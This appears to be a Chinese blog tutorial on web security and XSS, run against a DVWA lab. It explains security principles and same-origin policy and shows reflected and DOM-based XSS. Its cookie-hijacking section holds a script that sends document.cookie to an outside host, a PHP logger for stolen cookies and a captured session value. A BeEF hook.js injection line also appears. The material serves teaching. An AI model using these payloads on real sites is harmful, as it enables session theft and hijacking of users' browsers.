web安全:xss基本概念及相关实践

一、安全观

三要素:

机密性(Confidentiality):数据内容不能泄露。常用加密技术实现。
完整性(Integrity):数据完整、未被篡改。常用数字签名实现。       
可用性(Availability):保护资源“随需而取”。DoS攻击破坏的就是可用性

四原则:

secure by default 原则:1)设立黑名单或白名单;2)最小权限原则;

纵深防御原则:1)在不同层次、不同方面设立安全方案,构成整体;2)在解决根本问题的地方设立针对性的方案

代码数据分离原则:用于防止注入引发的各种安全问题。

不可预测原则:其实现往往用到加密算法,随机数算法等,能有效地对抗基于篡改伪造的攻击。

六威胁

威胁对应安全属性
信息泄露机密性
篡改完整性
拒绝服务可用性
伪装认证
抵赖不可抵赖
提升权限授权

      

二、浏览器安全

浏览器的同源策略:限制不同源的“document"或脚本,对当前“document”读取或设置某些属性。

浏览器根据协议、域名或IP、端口来判断是否同源。

在浏览器中,带有src属性的标签,如<script>、<img>、<iframe>等可以跨域加载资源(实质是浏览器发起了一次GET请求)。但通过src加载的资源,浏览器限制了javascript的权限,使其不能读写返回的内容。

而XMLHttpRequest可以访问来自同源对象的内容,但如无特别设置,一般不能跨域访问资源。

浏览器沙箱

Chrome浏览器将渲染进程用沙箱隔离,网页代码与操作系统通信或浏览器核心进程通信均需通过IPC channel。一定程度上可以防止用户代码破坏系统环境,或用户代码之间相互影响。

恶意网站拦截:浏览器周期性地从服务器端获取最新的恶意网站名单,拦截挂马网站或钓鱼网站。

三、跨站脚本攻击(XSS)

跨站脚本攻击(cross site script)攻击者通过在网页中嵌入恶意代码,从而在用户浏览网页时,控制其浏览器。

常见攻击类型:

3.1、反射型XSS:简单的将攻击者输入的恶意代码“反射”给浏览器,攻击者往往需要诱使用户点击恶意链接。

 

https://192.168.75.130/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%22hello!%22)%3C%2Fscript%3E#

3.2、存储型XSS:将攻击者输入的恶意代码存储在服务器端,所有访问被篡改网页的用户,都会在其浏览器执行这段代码。

 

3.3、DOM Based XSS:通过修改页面的DOM节点形成的XSS,如果按照恶意代码是否存储在服务器端,应属于反射型xss。

页面代码

<!DOCTYPE html>
<html>
<body>
<script>
function test(){
	var str = document.getElementById("input").value;
	document.getElementById("write").innerHTML = "<a href='http://"+str+"' >dom based xss </a>";
}

</script>

<div id="write" ></div>
	<input type="text" id="input" value="" />
	<input type="button" id="button" value="write" onclick=test() />

</body>
</html>

正常输入:

恶意代码:

点击链接: 

3.4、cookie劫持

注入javascript代码

<script>
new Image().src="http://192.168.75.129/xssCookie.php?cookie="+document.cookie;
</script>

接受cookie的php代码

<?php
        $str = $_GET['cookie'];
        $log = fopen("cookie.txt","a");
        fwrite($log, $str . "\n");
        fclose($log);
?>
语法
fopen(filename,mode,include_path,context) 

参数描述
filename
必需。规定要打开的文件或 URL。
mode
必需。规定您请求到该文件/流的访问类型。
可能的值:
"r" (只读方式打开,将文件指针指向文件头)
"r+" (读写方式打开,将文件指针指向文件头)
"w" (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
"w+" (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)
"a" (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)
"a+" (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)
"x" (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)
"x+" (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)

在 PHP 中,只有一个字符串运算符。
并置运算符 (.) 用于把两个字符串值连接起来。

所获得cookie

security=low; PHPSESSID=p0340qm1q6825vds6d6lpd2ma6; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

3.5、BeEF

启动
 

$ beef-xss
#或
$ systemctl start beef-xss

*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*]  Web UI: http://127.0.0.1:3000/ui/panel
[*]    Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

● beef-xss.service - beef-xss
     Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; vendor preset: disabled)
     Active: active (running) since Tue 2020-03-17 21:51:26 EDT; 38min ago
   Main PID: 1674 (ruby)
      Tasks: 4 (limit: 2312)
     Memory: 85.1M
     CGroup: /system.slice/beef-xss.service
             └─1674 ruby /usr/share/beef-xss/beef

 用户浏览器被hook

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值